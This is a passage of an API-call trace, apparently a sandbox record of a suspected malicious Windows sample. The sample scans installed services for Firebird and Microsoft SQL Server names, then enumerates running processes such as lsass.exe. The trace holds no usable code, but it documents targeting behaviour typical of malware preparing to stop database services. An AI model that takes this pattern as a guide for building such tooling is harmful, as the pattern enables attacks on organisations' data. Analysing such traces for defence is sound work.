returned 1 [0171.472] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0171.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0171.472] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0171.472] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0171.472] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0171.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0171.472] lstrlenW (lpString="Audiosrv") returned 8 [0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0171.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0171.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0171.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0171.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0171.472] lstrlenW (lpString="BFE") returned 3 [0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0171.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0171.472] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0171.472] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0171.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0171.472] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0171.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0171.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0171.472] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0171.473] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0171.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0171.473] lstrlenW (lpString="CDPSvc") returned 6 [0171.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0171.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0171.473] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0171.473] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0171.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0171.473] lstrlenW (lpString="ClickToRunSvc") returned 13 [0171.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0171.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0171.473] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0171.473] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0171.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0171.473] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0171.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0171.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0171.473] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0171.473] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0171.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0171.473] lstrlenW (lpString="CryptSvc") returned 8 [0171.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0171.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0171.473] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0171.473] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0171.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0171.474] lstrlenW (lpString="DcomLaunch") returned 10 [0171.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0171.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0171.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0171.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0171.474] lstrlenW (lpString="DeviceAssociationService") returned 24 [0171.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0171.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0171.474] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0171.474] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0171.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0171.474] lstrlenW (lpString="Dhcp") returned 4 [0171.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0171.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0171.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0171.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0171.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0171.474] lstrlenW (lpString="Dnscache") returned 8 [0171.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0171.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0171.474] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0171.474] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0171.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0171.474] lstrlenW (lpString="DPS") returned 3 [0171.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0171.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0171.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0171.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0171.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0171.475] lstrlenW (lpString="DsmSvc") returned 6 [0171.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0171.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0171.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0171.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0171.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0171.475] lstrlenW (lpString="DusmSvc") returned 7 [0171.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0171.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0171.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0171.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0171.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0171.475] lstrlenW (lpString="EventLog") returned 8 [0171.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0171.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0171.475] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0171.475] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0171.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0171.475] lstrlenW (lpString="EventSystem") returned 11 [0171.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0171.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0171.475] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0171.476] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0171.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0171.476] lstrlenW (lpString="FontCache") returned 9 [0171.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0171.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0171.476] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0171.476] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0171.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0171.476] lstrlenW (lpString="gpsvc") returned 5 [0171.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0171.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0171.476] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0171.476] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0171.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0171.476] lstrlenW (lpString="iphlpsvc") returned 8 [0171.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0171.476] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0171.476] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0171.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0171.476] lstrlenW (lpString="KeyIso") returned 6 [0171.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0171.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0171.476] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0171.476] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0171.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0171.477] lstrlenW (lpString="LanmanServer") returned 12 [0171.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0171.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0171.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0171.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0171.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0171.477] lstrlenW (lpString="LanmanWorkstation") returned 17 [0171.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0171.477] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0171.477] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0171.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0171.477] lstrlenW (lpString="lfsvc") returned 5 [0171.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0171.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0171.477] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0171.477] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0171.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0171.477] lstrlenW (lpString="lmhosts") returned 7 [0171.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0171.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0171.477] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0171.477] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0171.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0171.477] lstrlenW (lpString="LSM") returned 3 [0171.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0171.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0171.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0171.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0171.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0171.478] lstrlenW (lpString="MpsSvc") returned 6 [0171.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0171.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0171.478] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0171.478] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0171.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0171.478] lstrlenW (lpString="NcbService") returned 10 [0171.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0171.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0171.478] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0171.478] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0171.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0171.478] lstrlenW (lpString="netprofm") returned 8 [0171.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0171.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0171.478] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0171.478] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0171.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0171.478] lstrlenW (lpString="NgcSvc") returned 6 [0171.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0171.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0171.478] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0171.478] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0171.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0171.479] lstrlenW (lpString="NlaSvc") returned 6 [0171.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0171.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0171.479] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0171.479] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0171.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0171.479] lstrlenW (lpString="nsi") returned 3 [0171.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0171.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0171.479] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0171.479] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0171.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0171.479] lstrlenW (lpString="PcaSvc") returned 6 [0171.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0171.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0171.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0171.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0171.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0171.479] lstrlenW (lpString="PlugPlay") returned 8 [0171.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0171.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0171.479] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0171.479] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0171.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0171.479] lstrlenW (lpString="Power") returned 5 [0171.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0171.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0171.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0171.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0171.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0171.480] lstrlenW (lpString="ProfSvc") returned 7 [0171.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0171.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0171.480] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0171.480] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0171.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0171.480] lstrlenW (lpString="RpcEptMapper") returned 12 [0171.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0171.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0171.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0171.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0171.480] lstrlenW (lpString="RpcSs") returned 5 [0171.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0171.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0171.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0171.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0171.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0171.480] lstrlenW (lpString="SamSs") returned 5 [0171.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0171.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0171.480] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0171.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0171.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0171.481] lstrlenW (lpString="Schedule") returned 8 [0171.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0171.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0171.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0171.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0171.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0171.481] lstrlenW (lpString="SecurityHealthService") returned 21 [0171.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0171.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0171.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0171.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0171.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0171.481] lstrlenW (lpString="SENS") returned 4 [0171.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0171.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0171.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0171.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0171.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0171.481] lstrlenW (lpString="ShellHWDetection") returned 16 [0171.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0171.481] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0171.482] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0171.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0171.482] lstrlenW (lpString="Spooler") returned 7 [0171.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0171.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0171.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0171.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0171.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0171.482] lstrlenW (lpString="StateRepository") returned 15 [0171.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0171.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0171.482] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0171.482] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0171.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0171.482] lstrlenW (lpString="SysMain") returned 7 [0171.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0171.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0171.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0171.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0171.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0171.482] lstrlenW (lpString="SystemEventsBroker") returned 18 [0171.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0171.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0171.483] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0171.483] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0171.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0171.556] lstrlenW (lpString="Themes") returned 6 [0171.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0171.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0171.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0171.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0171.557] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0171.557] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x510 [0171.562] Process32FirstW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0171.563] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0171.564] lstrlenW (lpString="System") returned 6 [0171.564] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0171.565] lstrlenW (lpString="smss.exe") returned 8 [0171.565] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.566] lstrlenW (lpString="csrss.exe") returned 9 [0171.566] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0171.567] lstrlenW (lpString="wininit.exe") returned 11 [0171.567] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0171.568] lstrlenW (lpString="csrss.exe") returned 9 [0171.568] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0171.569] lstrlenW (lpString="winlogon.exe") returned 12 [0171.569] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0171.570] lstrlenW (lpString="services.exe") returned 12 [0171.570] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0171.571] lstrlenW (lpString="lsass.exe") returned 9 [0171.571] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, 